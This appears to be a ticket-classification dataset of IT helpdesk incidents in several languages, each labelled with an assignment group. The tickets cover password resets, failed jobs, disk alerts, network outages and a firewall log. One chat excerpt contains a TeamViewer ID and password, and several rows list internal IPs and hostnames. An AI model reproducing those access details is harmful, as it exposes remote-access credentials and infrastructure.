93.115.241.50 +source hostname: 93.115.241.50.ch-center.com. +destination ip: 10.16.85.116 +destination hostname: android-802d0edc4e509a9 +system name : +user name:pethrywr sahl(sghtyhlp) +location : koenigsee +sep , sms status : no updates +field sales user ( yes / no) : no +dsw event log:see below +---------------------------------------------------------------------------------------- +========================= +event data +========================= +related events: +event id: 307636804 +event summary: denied icmp trafficdenied icmp type=3, code=3 +occurrence count: 4 +event count: 1 + +host and connection information +source ip: 209.126.230.71 +source hostname: internetsurvey-2.erratasec.com. +source ip geolocation: atlanta, usa +connection directionality: incoming +protocol: icmp + +device information +device ip: 18.79.63.203 +device name: company-internal-asa.company.com-1 +log time: 2016-08-20 at 00:21:56 utc +action: blocked +cvss score: -1 + +scwx event processing information +sherlock rule id (sle): 756571 +inspector event id: 041814438 +ontology id: 200020003203009212 +event type id: 200020003203009112 +agent id: 103611 + +event detail: +aug 20 00:21:56 18.79.63.203 %asa-3-313001: denied icmp type=3, code=3 from 209.126.230.71 on interface outside",GRP_2 +server migration germany; contactperson: cioehrnq wfyhgelz no access to data on the server! can't proceed customer orders!,GRP_12 +"erp won't allow me to create an attachment to customer account when trying to attach tax exemption forms to the customer account in erp, i am not able to access the network drive they are stored on and am receiving an error message. i have attached the message to this incident. i am trying to access the ""m"" drive. ",GRP_0 +user has questions on the use of password_management_tool password manager. user has questions on the use of password_management_tool password manager.,GRP_0 +"everytime i click something in erp i hear an annoying clcking sound.also when i try to access a document at the header i get this pop up erp gui security that says the system is trying to create the file_x000D_ +_x000D_ +c:\erp\erp gui\35683166confirmationofhpcpo#113568_20160822132958.453_x.msg_x000D_ +_x000D_ +in the directory_x000D_ +_x000D_ +c:\erp\erp gui\_x000D_ +_x000D_ +do you want to usa the permission to modify the parent directory and all its subdirectories?_x000D_ +_x000D_ +and gives me a choice of allow, deny or help _x000D_ +_x000D_ +i cannot open the attachment_x000D_ +",GRP_0 +replacing current laptop thomklmas is replacing current laptop.,GRP_3 +will not come up not showixepyfbga wtqdyoin drive at all,GRP_3 +"my email isn't updating in the morning _x000D_ +_x000D_ +received from: pjxclyhs.fcniljtu@gmail.com_x000D_ +_x000D_ +kind ",GRP_0 +ticket update on inplant_852749 ticket update on inplant_852749,GRP_0 +"password problem hello,_x000D_ +_x000D_ +my password is locked when i log in company network. i have to sign in ",GRP_0 +audio not working audio not working,GRP_0 +erp blank screen erp blank screen,GRP_0 +unable to start the computer. its showing startup repair. unable to start the computer. its showing startup repair.,GRP_0 +"job Job_1314 failed in job_scheduler at: 08/22/2016 08:45:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1314 failed in job_scheduler at: 08/22/2016 08:45:00",GRP_9 +reset passwords for horeduca ogrhivnm using password_management_tool password reset. the,GRP_17 +erp SID_34 password reset (requested by ughzilfm cfibdamq) erp SID_34 password reset (requested by ughzilfm cfibdamq),GRP_0 +i am trying to open a file attached to a crm and the extension is .rar i cannot open this file the is a file attached to a crm i am trying to work on and it has .rar as the extension. i cannot open this file and i do not know what a .rar file is.,GRP_3 +"read and write access for m drive folder + +received from: nrbgctwm.kfwdhrmt@gmail.com + +hi, + +please provide read and write access of following folders in m drive + +m:\pu5 coating data base\database\production data day wise +m:\pu5 coating data base\database\production data month wise +m:\pu5 coating data base\database\pu5 production database + +computer name and user id details are as per the below list +slno + +system number + +user i.d + +access + +read + +write + +1 + +awyw8911478 + +awysinic2 + +[cid:image001.png@01d1fca0.50f1dd10] + +[cid:image001.png@01d1fca0.50f1dd10] + + + +sbfhydeep kurtyar +pu5 coating and grinding operations +nrbgctwm.kfwdhrmt@gmail.com +",GRP_12 +unable to outlook unable to outlook ,GRP_0 +reset the password for mfvkxghn mzjasxqd on other / SID_1 in erp i need my password set for the quality assurance area SID_1,GRP_0 +"bitte einen arbeitszeitplan erstellen für die mitarbeiterin rnibmcve xukajlvg, pers.-nr. 58938 bitte einen arbeitszeitplan erstellen für die mitarbeiterin rnibmcve xukajlvg, pers.-nr. 58678938: +sollarbeitszeit/woche: 17,5 stunden +arbeitstage: dienstag, donnerstag, samstag +start: 13.09.2016",GRP_52 +account locked in ad account locked in ad,GRP_0 +ticket update on ticket_no0428491 ticket update on ticket_no0428491,GRP_0 +"job Job_746w failed in job_scheduler at: 08/22/2016 08:08:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_746w failed in job_scheduler at: 08/22/2016 08:08:00",GRP_5 +"skype -disconnecting of skype calls- more then 5 times in 5 minutes from koenigsee to germany during a conference call skype - disconnecting of skype calls - more then 5 times in 5 minutes from koenigsee to germany during a conference call_x000D_ +also internetconnection is very slow",GRP_0 +account getting locked each monday account getting locked each monday,GRP_0 +atualização programdntya ted preciso entregar as declarações e o programdntya ted não está funcionando.,GRP_62 +vip 2 symantec login does not synch passwords through hitacni password system; how to update & synch symantec password? vip 2 symantec login does not synch passwords through hitacni password system; how to update & synch symantec password?,GRP_0 +account locked in ad account locked in ad,GRP_0 +"job Job_3028 failed in job_scheduler at: 08/22/2016 07:48:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3028 failed in job_scheduler at: 08/22/2016 07:48:00",GRP_8 +zugriffsrechte auf den ordner ce-teamleiter freigabe durch hr. grergtger,GRP_0 +"set back document t: +49 +please set back this document to status 01.06.2016 +m:\dispo\avfertigungszeiten\arbeitsplaner-arbeitssteuerer\te-beschichtung\te-für schneidplatten\te - sk-pvd beschichten auf metaplasanlage .xls +",GRP_12 +unable to login to erp SID_34 - erp production account locked out,GRP_0 +"job Job_3028 failed in job_scheduler at: 08/22/2016 07:25:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3028 failed in job_scheduler at: 08/22/2016 07:25:00",GRP_8 +"reset password for erp - vvkthyiska account blocked + +received from: krutjqwp.qomksnhd@gmail.com + +hello team, + +could you please reset my password for the erp, user vvkthyiska, by mistake i blocked my account, i entered 3 times the wrong password. + +",GRP_0 +"help with excel that updates from crm + +received from: eqwaiphc.qxwfeuth@gmail.com + +could you please advise what steps i should take to allow the attached spreadsheet to refresh data from crm? below is the error message that i get when i open and enable content. + +[cid:image001.jpg@01d1fc45.6ce205f0] + +mictbdhryhle w. burnhntyham +regional key account manager – msc east coast +eqwaiphc.qxwfeuth@gmail.com +",GRP_0 +"missing archive email _x000D_ +_x000D_ +received from: rcbdyslq.zuspjbtw@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i don't have archive emails. the lauacyltoe hxgaycze i can found is from 2014 and i should be able to see emails from 2012._x000D_ +my local pc support ojrplsmx wslifbzc already checked it and he can't find it as well._x000D_ +_x000D_ +i urgently need emails from 2013!_x000D_ +please advise_x000D_ +_x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +"job Job_3028 failed in job_scheduler at: 08/22/2016 07:14:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3028 failed in job_scheduler at: 08/22/2016 07:14:00",GRP_8 +misplaced password password misplaced,GRP_0 +"edi bestellungen der ksb ag sehr geehrte damen und herren,_x000D_ +_x000D_ +können sie mich bitte zu den edi bestellungen der ksb ag kurz anrufen?_x000D_ +_x000D_ +_x000D_ +freundliche grüße / kind ",GRP_32 +"re: deployment notification | telephony_software 2016 _x000D_ +_x000D_ +received from: urvitans.laqdwvgo@gmail.com_x000D_ +_x000D_ +hi can we run the deployment once for the german language for the former germany location._x000D_ +for the following targets_x000D_ +_x000D_ +efdl8111324_x000D_ +efdl8111336_x000D_ +efdw8111224_x000D_ +efdw8111372_x000D_ +efdl8111328_x000D_ +efdl8111169_x000D_ +edfl8111329_x000D_ +edfl8111361_x000D_ +edfw8111363_x000D_ +edfl8111326_x000D_ +edfw8111143_x000D_ +edfw8111360_x000D_ +edfw8111133_x000D_ +edfl8111320_x000D_ +efdw8111134_x000D_ +_x000D_ +please let me know when we can plan this._x000D_ +_x000D_ +as the location is just moved this weekend we can't do it manually right now._x000D_ +_x000D_ +",GRP_0 +"reset password - karnos _x000D_ +_x000D_ +received from: zrpemyab.xvzwcbha@gmail.com_x000D_ +_x000D_ +dear it team,_x000D_ +_x000D_ +please help reset password for user : karnos_x000D_ +_x000D_ +",GRP_0 +"i'm no more able to find a folder in outlook. ic_x000D_ + welcome, our next available agent will be with you shortly..._x000D_ + all agents are busy assisting other customers._x000D_ + interaction alerting agent._x000D_ + website visitor has joined the conversation_x000D_ +gxuvbcpr libcktnm_x000D_ + hello_x000D_ +dwfiykeo argtxmvcumar3_x000D_ + hello_x000D_ +gxuvbcpr libcktnm_x000D_ + i'm sorry to disturb you for such an issue but i'm no more able to find a folder in my outlook_x000D_ + i don't think i deleted it but i can't see it anymore_x000D_ +dwfiykeo argtxmvcumar3_x000D_ + can i have access to your system, please ?_x000D_ +_x000D_ +gxuvbcpr libcktnm_x000D_ + sure. what way?_x000D_ + teamviewer or skype?_x000D_ +dwfiykeo argtxmvcumar3_x000D_ + team viewer , please _x000D_ +gxuvbcpr libcktnm_x000D_ + id: 924881243_x000D_ + pw: 6749_x000D_ +gxuvbcpr libcktnm_x000D_ + hello,_x000D_ +gxuvbcpr libcktnm_x000D_ + the folder i can't find anymore is named ""transportation markhtyet"" and it was just below ""transportation"" on_x000D_ + one_x000D_ +dwfiykeo argtxmvcumar3_x000D_ + he_x000D_ +ic_x000D_ + website visitor has left the conversation_x000D_ +",GRP_0 +delete the charm- 7000006672 delete the charm 8111117783 as the configuration is done already and it was issue in the bex report. ,GRP_38 +"job Job_3028 failed in job_scheduler at: 08/22/2016 06:01:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3028 failed in job_scheduler at: 08/22/2016 06:01:00",GRP_8 +unable to login to citrix unable to login to citrix,GRP_0 +probleme mit login \ypladjeu wzfryxav probleme mit login \ypladjeu wzfryxav,GRP_24 +probleme mit outlook \dtlmbcrx mwuateyx probleme mit outlook \dtlmbcrx mwuateyx,GRP_24 +drucker funktioniert nicht \puxsvfwr cwkjruni drucker funktioniert nicht \puxsvfwr cwkjruni,GRP_24 +"confirmations in bls (beschichtungsleitstand) not transfered to EU_tool location: germany, coating department cvd_x000D_ +_x000D_ +example: batch 16721 (it happens regularly)_x000D_ +_x000D_ +every order of 16721 miss the confirmation packing fhurakgsl mldufqov in EU_tool (german: packen zum beschichten) however it was confirmed in bls. usually confirmations done in bls are transfered automatically into EU_tool. production planner need to close these gaps now by manually confirming missing process steps. the incident has also impact on our performance indicators, as time for packing is not credited in the system. _x000D_ +_x000D_ +batch 16721 is a current example. the issue arised already in the past. _x000D_ +_x000D_ +",GRP_25 +"unable to open the order confirmation from the erp _x000D_ +_x000D_ +received from: rslvwpnh.emkfpqiy@gmail.com_x000D_ +_x000D_ +please find the snap shot of the screen._x000D_ +_x000D_ +am unable to open the url : _x000D_ +_x000D_ +[cid:image001.jpg@01d1fc86.94db1ce0]_x000D_ +_x000D_ +",GRP_13 +erp SID_34 account locked erp SID_34 account locked,GRP_0 +"system disk of server HostName_698 is full _x000D_ +_x000D_ +received from: fbyusmxz.kxvmcbly@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +system disk c: of server HostName_698 is full – please check._x000D_ +it is the virtual center server._x000D_ +",GRP_12 +"persönliches laufwerk ""adelhmk"" nicht mehr verfügbar nach servermigration bitte scghhnellstmöglich persönliches laufwerk ""adelhmk"" wiederherstellen. _x000D_ +_x000D_ +personal drive ""adelhmk"" unavailable after server migration",GRP_12 +"job Job_3028 failed in job_scheduler at: 08/22/2016 04:51:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3028 failed in job_scheduler at: 08/22/2016 04:51:00",GRP_12 +"crm problems _x000D_ +_x000D_ +received from: rugdyxqh.aqvocmuy@gmail.com_x000D_ +_x000D_ +good day all_x000D_ +_x000D_ +i am having problems with crm the system does not open and does not prompt for a password_x000D_ +seemor current month outlook does not appear on the screen_x000D_ +_x000D_ +kind ",GRP_0 +when i double click on a production order in erp 11 reporting under md04 the distribution icon does not come up i have no where to insert an amount to allow me to ship. i can be reached at ,GRP_45 +"drucker findet scan-adresse nicht _x000D_ +_x000D_ +received from: fdqjsygx.aivdjqtr@gmail.com_x000D_ +_x000D_ +hallo,_x000D_ +_x000D_ +beim scannen findet der drucker em 96 die voreingestellte adresse nicht._x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_12 +5 pos cannot be posed in miro as the same message the attachements are each of the 5 pos error message shown in miro. they cannot be posed in erp for same problem. please help settle them. ,GRP_10 +sound issue sound not working ,GRP_19 +"engineering_tool advance search-issue + +received from: sihtvocw.yspnqxgw@gmail.com + +hello + +we ran report with sales person name as atuldhy gurpthy. however we got below reports which are not matching to the user searched. kindly check: + +[cid:image001.jpg@01d1fc7a.7d98a360] + +[cid:image002.jpg@01d1fc7a.7d98a360] + +best ",GRP_25 +"telephony_software input issue-- enter one number or letter output double when reply email in new telephony_software software since telephony_software software upgrading , if input a number or letter , it get double .the show is two duplicate numbers .for example, i enter ""3014377"", shows as ""22990033226666"" .pls find attachment for printerscreen.please help to solve as soon as possible",GRP_7 +"öffnen von exel_anhängen ( 0043 664 4688892) _x000D_ +_x000D_ +received from: soldfnbq.uhnbsvqd@gmail.com_x000D_ +_x000D_ +hallo,_x000D_ +_x000D_ +ich kann keinen exel-anhang öffnen, auch nicht wenn ich diesen speicher und dann öffne._x000D_ +[cid:image001.png@01d1fc59.bf242140]_x000D_ +_x000D_ +mit freundlichen grüßen/ best ",GRP_0 +"erp and network access limitation + +received from: pzybmcqd.fxtemlyg@gmail.com + +hello it, + +various of our users are linked to the network but cannot log into erp or get onto the local network drive to access the files. + +do to however are linked on the network (they can use internet explorer ). + + +like users: andthyerh +cvdebrc + +vvmathkag + + +i with username: vanthyrdys can access every system without any issues + + + +best ",GRP_0 +"job Job_593 failed in job_scheduler at: 08/22/2016 03:33:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_593 failed in job_scheduler at: 08/22/2016 03:33:00",GRP_8 +kpm not working hours punched on task are not visible in kpm,GRP_25 +"ebhsm004: e:/ is now 91% utilized. e:\ label:dat1-ebhsm004 dc16126c on server: ebhsm004 is over _x000D_ + 85% space consumed. space available: 4.4 g",GRP_8 +" rqxsm004 : f:/ is now 96% utilized. f:\ label:dat2-rqxsm004 dc86ed35 on server: rqxsm004 is over _x000D_ + 85% space consumed. space available: 2.8 g",GRP_1 +"HostName_30 : g:\ label:wsp e26ca13a is now 96% utilized. g:\ label:wsp e26ca13a on server: HostName_30 is over _x000D_ + 85% space consumed. space available: 4.2 g",GRP_8 +reset passwords for wvdxnkhf jirecvta using password_management_tool password reset. the,GRP_17 +"job Job_403 failed in job_scheduler at: 08/22/2016 03:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_403 failed in job_scheduler at: 08/22/2016 03:00:00",GRP_8 +setup new laptop für roboworker \qidgvtwa qvbutayx setup new laptop für roboworker \qidgvtwa qvbutayx,GRP_24 +"bad printing quality at rn33 + +received from: yfmaqovp.wdonhbez@gmail.com + +hello, + +we use our printer rn33 (germany fm) for printing of production papers and drawings in one step. +at the moment we have a very bad quality on the drawings and production papers. + +we changed the toner. the toner is the original hp same as the printer. +our it (tewgersy tgryudf) checked the printer also. regarding his checking the printer works correct. +we did uacyltoe hxgaycze print from word -> good quality. +uacyltoe hxgaycze print form erp -> bad quality. + +regarding his suggestions should we check the print paramdntyeters of erp. +could you recheck this please? +was there a change? +",GRP_33 +setup new ws \sqlmtixr urhbvfgd setup new ws \sqlmtixr urhbvfgd,GRP_24 +"awysv004 esxi host down _x000D_ +c:\users\virakv>ping awysv004_x000D_ +_x000D_ +pinging awysv004.company.com [10.38.20.34] with 32 bytes of data:_x000D_ +request timed out._x000D_ +request timed out._x000D_ +request timed out._x000D_ +request timed out._x000D_ +_x000D_ +ping statistics for 10.38.20.34:_x000D_ + packets: sent = 4, received = 0, lost = 4 (100% loss),_x000D_ +",GRP_12 +"mb5b download _x000D_ +_x000D_ +received from: azovgeck.zuwnxdbt@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +i had construct with mb5b in erp a layout (display options) with the name ""mb5b richthammer"". since today i can´t choose this layout anymore. only one layout i could collect, but it´s not one i had created._x000D_ +_x000D_ +[cid:image004.jpg@01d1fc51.adaef550]_x000D_ +_x000D_ +the layout should look like this:_x000D_ +[cid:image010.jpg@01d1fc4a.3f592000]_x000D_ +_x000D_ +but at the moment it look like this:_x000D_ +[cid:image012.jpg@01d1fc4a.3f592000]_x000D_ +_x000D_ +can you please help me to get the layout „mb5b richthammer"" back?_x000D_ +",GRP_29 +"job Job_1390 failed in job_scheduler at: 08/22/2016 02:39:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1390 failed in job_scheduler at: 08/22/2016 02:39:00",GRP_9 +data backup profile update help to update the profile and data backup from old pc to new pc,GRP_19 +bildschirm im rückmeldeterminal 6 (gegenüber kln-reinigungsanlage) defekt. bildschirm im rückmeldeterminal 6 (gegenüber kln-reinigungsanlage) defekt.,GRP_33 +"customer master _x000D_ +_x000D_ +received from: rgtarthi.erjgypa@company.com_x000D_ +_x000D_ +hello help,_x000D_ +_x000D_ +-customer-master india -customer-master.india@company.com – is not getting updated with lauacyltoe hxgaycze mail since morning._x000D_ +_x000D_ +[cid:image001.png@01d1fc64.17e6b5e0]_x000D_ +_x000D_ +",GRP_0 +"job HostName_1019fail failed in job_scheduler at: 08/22/2016 02:13:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job HostName_1019fail failed in job_scheduler at: 08/22/2016 02:13:00",GRP_8 +"carcau michthey my password expires in 1 day _x000D_ +_x000D_ +received from: vlcexqpg.vjrtqobx@gmail.com_x000D_ +_x000D_ +hello ,_x000D_ +_x000D_ +when i use the login _x000D_ +would you be so kind to help me ?_x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +"tablet - dell 7350 - windows系统启动后黑屏。 please provide details of the issue._x000D_ +windows系统启动后黑屏。",GRP_31 +"please add office printer in my new laptop _x000D_ +_x000D_ +received from: qrnusygw.amiebrlf@gmail.com_x000D_ +_x000D_ +dear sir,_x000D_ +_x000D_ +please add the office printer (which is connected with company vpn) in my new laptop._x000D_ +_x000D_ +",GRP_19 +"vvthuenka + +received from: aksthyuhath.shettythruy@company.com + +hi, + +mr. ofuhdesi rhbsawmf is not able to login ess portal. please reset the password and share it with his manager. + +emp no + +name + +useid + +manager + +20245767 + +ofuhdesi rhbsawmf + +vvthuenka + +ebkfwhgt flapokym + + + + +with ",GRP_0 +hr_tool java doesn't work hr_tool java doesn't work,GRP_31 +wegen file-server austausch kein zugriff auf datenbank möglich!! wegen file-server austausch kein zugriff auf datenbank möglich!! eemw8144361; eemw8144255; eemw8144362 bitte hr. sudghnthdra mit kontaktieren. eilig!!!!,GRP_12 +"kein zugriff von abteilung ce abstech eemw8144218 auf datenbanken: betap_profil, betapdachform, betapfasen kein zugriff von abteilung ce abstech eemw8144218 auf datenbanken: betap_profil, betapdachform, betapfasen. kontakt: sudghnthdra",GRP_12 +"password changes _x000D_ +_x000D_ +received from: brhlcpqv.sfozwkyx@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +could you please help me on unlocking the erp? it is blocked for entering wrong password._x000D_ +_x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +"job Job_1148 failed in job_scheduler at: 08/22/2016 01:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1148 failed in job_scheduler at: 08/22/2016 01:15:00",GRP_57 +am not able to open any dash bankrd and hr_tool site through link web link am not able to open any dash bankrd and hr_tool site through link web link can you kindly check ,GRP_0 +windows account locked windows account locked ,GRP_0 +unable to open permission protected mails unable to open permission protected mails,GRP_19 +kpm time sheet is not submitting. please resolve this issue as soon as possible. employee id-210667827,GRP_0 +"erp miro cannot pose the two pos with error message like the attachment as the two attachment shown, when i pose this two po items, erp give the error message says the profit center is different. so i can't pose ir in miro now. please help settle them. ",GRP_10 +"can not do z_chk for t/o# 606627 with dn 8057978066 _x000D_ +_x000D_ +received from: gjtyswkb.dpvaymxr@gmail.com_x000D_ +_x000D_ +dear it,_x000D_ +_x000D_ +we use z_chk want to confirm mm 4152195,but erp shows below error, pls help to check & fix, ",GRP_18 +"password _x000D_ +_x000D_ +received from: rgtarthi.erjgypa@company.com_x000D_ +_x000D_ +hi help,_x000D_ +_x000D_ +i have changed the password today, except for the below._x000D_ +please help me change for SID_39 too._x000D_ +_x000D_ +[cid:image001.png@01d1fc51.825a46c0]help_x000D_ +_x000D_ +",GRP_2 +"need to be able to create pr under xzn004 and xzs012. i used to be able to create pr for cost center xzn004 and xzs012, but now it does not worl. could you pls help to find out why? it shows ""purchaising accross comapny is not allowed.""",GRP_29 +"engineering tool not working. my engineering tool shows a error message as ""dataservices::taskmgr.getassignments() transaction (process id 413) was deadlocked on lock | communication buffer resources with another process and has been chosen as the deadlock victim. rerun the transaction""._x000D_ +_x000D_ +please help.",GRP_0 +windows password expired windows password expired ,GRP_0 +windows account locked windows account locked,GRP_0 +"job Job_3028 failed in job_scheduler at: 08/21/2016 22:24:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3028 failed in job_scheduler at: 08/21/2016 22:24:00",GRP_8 +"apps _x000D_ +_x000D_ +received from: anpocezt.qturbxsg@gmail.com_x000D_ +_x000D_ +hello what apps should we be using on out phone. (iphone 6)_x000D_ +skype or business skype. collaboration_platform or business collaboration_platform and should back our phone on icloud, collaboration_platform or our computer._x000D_ +_x000D_ +best ",GRP_0 +"job Job_3028 failed in job_scheduler at: 08/21/2016 22:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3028 failed in job_scheduler at: 08/21/2016 22:02:00",GRP_12 +"tablet - dell 7350 - windows 8.1 系统被还原. 账号不能登录系统。 please provide details of the issue._x000D_ + windows 8.1 系统被还原. 账号无法登录系统。",GRP_31 +"ess login issue. ess login issue_x000D_ +-verified user details.(employee# & manager name)_x000D_ +-checked the user name in ad and reset the password.._x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"login issue login issue_x000D_ +-verified user details.(employee# & manager name)_x000D_ +-checked the user name in ad and reset the password._x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"job Job_594 failed in job_scheduler at: 08/21/2016 17:13:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_594 failed in job_scheduler at: 08/21/2016 17:13:00",GRP_8 +"job Job_1306 failed in job_scheduler at: 08/21/2016 15:40:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1306 failed in job_scheduler at: 08/21/2016 15:40:00",GRP_9 +"usa:dnb-vpn-rtr(10.38.1.11) is down since 8:39 pm on 08/20 et usa: dnb-vpn-rtr(10.38.1.11) is down since 8:39 pm on 08/20 et.router went down during the sup engine replacement activity as per chg1144844._x000D_ +",GRP_4 +"gigabitethernet1/0/14 on company-eu-deu-ds-germany-edksw002-2960-stack-sw002.company.com connected to ap company_de_germany_aSID_78 gigabitethernet1/0/14 on company-eu-deu-ds-germany-edksw002-2960-stack-sw002.company.com connected to ap company_de_germany_aSID_78 is flapping._x000D_ +attached monitoring_engineering_tool.",GRP_4 +"HostName_979(plm wwi uacyltoe hxgaycze):wwisvc.exe: wrong number of instances of process wwisvc.exe, expected instances gte 2 but found 0 HostName_979(plm wwi uacyltoe hxgaycze):wwisvc.exe: wrong number of instances of process wwisvc.exe, expected instances gte 2 but found 0",GRP_14 +"job snp_heu_5_regen failed in job_scheduler at: 08/21/2016 13:45:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job snp_heu_5_regen failed in job_scheduler at: 08/21/2016 13:45:00",GRP_6 +"job bwhrattr failed in job_scheduler at: 08/21/2016 09:45:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bwhrattr failed in job_scheduler at: 08/21/2016 09:45:00",GRP_9 +"job Job_1314 failed in job_scheduler at: 08/21/2016 09:20:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1314 failed in job_scheduler at: 08/21/2016 09:20:00",GRP_9 +"job Job_511 failed in job_scheduler at: 08/21/2016 08:58:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_511 failed in job_scheduler at: 08/21/2016 08:58:00",GRP_8 +"job Job_511 failed in job_scheduler at: 08/21/2016 08:47:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_511 failed in job_scheduler at: 08/21/2016 08:47:00",GRP_8 +"Israel, israel - (company):company-eu-isr--mainswitch-b-3560-access-sw02 is down since at 07:38 am et on 21-08-2016. EMEA, israel - (company):company-eu-isr--mainswitch-b-3560-access-sw02 is down since at 07:38 am et on 21-08-2016.",GRP_8 +"job snp_heu_1_regen failed in job_scheduler at: 08/21/2016 06:36:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job snp_heu_1_regen failed in job_scheduler at: 08/21/2016 06:36:00",GRP_6 +india india kirty : interface: gigabitethernet2/0/48 on company-ap-ind-kirty-pu3-2960s-stack-sw01 is down. india india kirty : interface: gigabitethernet2/0/48 uplink to core 4503 admin switch on company-ap-ind-kirty-pu3-2960s-stack-sw01 is down,GRP_4 +"job mm_zscr0099_wkly_rollfgyuej1 failed in job_scheduler at: 08/21/2016 00:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job mm_zscr0099_wkly_rollfgyuej1 failed in job_scheduler at: 08/21/2016 00:11:00",GRP_8 +"no connection to t drive in na + +received from: blktuiae.jzakfmhw@gmail.com + +dear it + +is there any issue with the t drive in na + +cannot get any connection + +other drives in eu are running well + +[cid:image001.png@01d1fb72.104f21c0] + + + +günter webfnhtyer +manager sourcing +blktuiae.jzakfmhw@gmail.com + + +company shared services gmbh +geschäftsführer: phvkowml azbtkqwx, naruedlk mpvhakdq",GRP_0 +"weekly reboot of csqe prod servers weekly reboot of csqe prod servers _x000D_ +_x000D_ +HostName_1027_x000D_ +HostName_1028_x000D_ +",GRP_8 +"HostName_768:chkdsk is still running after the monthy reboot after the monthly reboot of HostName_768 chkdsk is running from around 6:40 pm on 08/20 et._x000D_ +currently chkdsk is verifying files (stage 1 of 3) with 9 percent complete.",GRP_12 +company-ap-chn-apac-company-psf-2960s-access-sw01.company.com (50.36.05.137 ) is down since 6:51 pm on 8/20 et company-ap-chn-apac-company-psf-2960s-access-sw01.company.com (50.36.05.137 ) is down since 6:51 pm on 8/20 et,GRP_8 +"ess login issue ess login issue_x000D_ +-verified user details.(employee# & manager name)_x000D_ +-checked the user name in ad and reset the password_x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that she was able to login._x000D_ +-issue resolved.",GRP_0 +user unable to login to erp. user unable to login to erp.,GRP_0 +"HostName_30(sms & sep server-company-india india):volume: g:\ label:wsp e26ca13a on server: HostName_30 is over 85% space co observing below alert in monitoring_tool since 3:52 pm on 08/20 et.monitoring_engineering_tool attached._x000D_ +volume: g:\ label:wsp e26ca13a on server: HostName_30 is over 85% space consumed. space available: 4.2 g ",GRP_65 +"germany vrtx HostName_597 down / urgent _x000D_ +_x000D_ +received from: ecwtrjnq.jpecxuty@gmail.com_x000D_ +_x000D_ +dear colleagues,_x000D_ +_x000D_ +all virtual servers in germany / germany are down after the move of HostName_597 / vrtx system._x000D_ +_x000D_ +we are urgently missing the virtual servers HostName_598 ( fileserver ) and efdsm009 ( printserver )_x000D_ +_x000D_ +server team, would you please be so kind and start the virtual servers on HostName_604 and HostName_605._x000D_ +_x000D_ +many ",GRP_12 +"mtd revenue detail report + +received from: qwijaspo.ukynmfig@gmail.com + +dear it, + +here is another report i view often and there have been changes made and they do not reflect my territory. the report his missing several of my distributors and is off by $700,000 or so. + +please see the screen shot. +[cid:image001.jpg@01d1fada.cc506390] + +qwijaspo ukynmfig +sales manager - west coast +qwijaspo.ukynmfig@gmail.com +",GRP_9 +"vmax alert:a symmetrix power subsystem ac line interruption was detected.emc sr # 81364438 observing these alerts since 5:37 am on 08/20 et_x000D_ +_x000D_ +severity : warning, category: environment, director : df-6d, numerirtc code: 0x001d, event code: ac_line_interrupted, description: a symmetrix power subsystem ac line interruption was detected_x000D_ +severity : warning, category: environment, director : df-6b, numerirtc code: 0x001d, event code: ac_line_interrupted, description: a symmetrix power subsystem ac line interruption was detected_x000D_ +severity : warning, category: environment, director : df-5c, numerirtc code: 0x001d, event code: ac_line_interrupted, description: a symmetrix power subsystem ac line interruption was detected_x000D_ +severity : warning, category: environment, director : df-5a, numerirtc code: 0x001d, event code: ac_line_interrupted, description: a symmetrix power subsystem ac line interruption was detected_x000D_ +",GRP_8 +"user mentioned that the internet gets disconnected once she tries to open the ppt.(home location) user mentioned that the internet gets disconnected once she tries to open the ppt._x000D_ +-had the user power cycle the pc and the modem ._x000D_ +-user able to conenct to the inter._x000D_ +-connected to the user system using teamviewer._x000D_ +-tried to check the network settings, all fine._x000D_ +-lost internet connection again.conection stays on for just 5 mins._x000D_ +user mentioned that the connection at home is intermittent._x000D_ +-conferenced the call with comcas isp._x000D_ +-they disconnected the call, were not able to provide support to the user._x000D_ +-user mentioned that she will try and connect from a local hotspot._x000D_ +-user mentioned she will check the connection again later.",GRP_0 +"job Job_480 failed in job_scheduler at: 08/20/2016 13:36:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_480 failed in job_scheduler at: 08/20/2016 13:36:00",GRP_8 +"space utilization :: e:\ label:dat1-ebhsm004 dc16126c85% space consumed. available: 4.7 g since 8/20/2016 11:07 am est volume: e:\ label:dat1-ebhsm004 dc16126c on server: ebhsm004 is over _x000D_ +85% space consumed. space available: 4.7 g ",GRP_65 +HostName_1132:oracle finance_app financial management - web tier (epmsystem2) - service monitor(down) HostName_1132:oracle finance_app financial management - 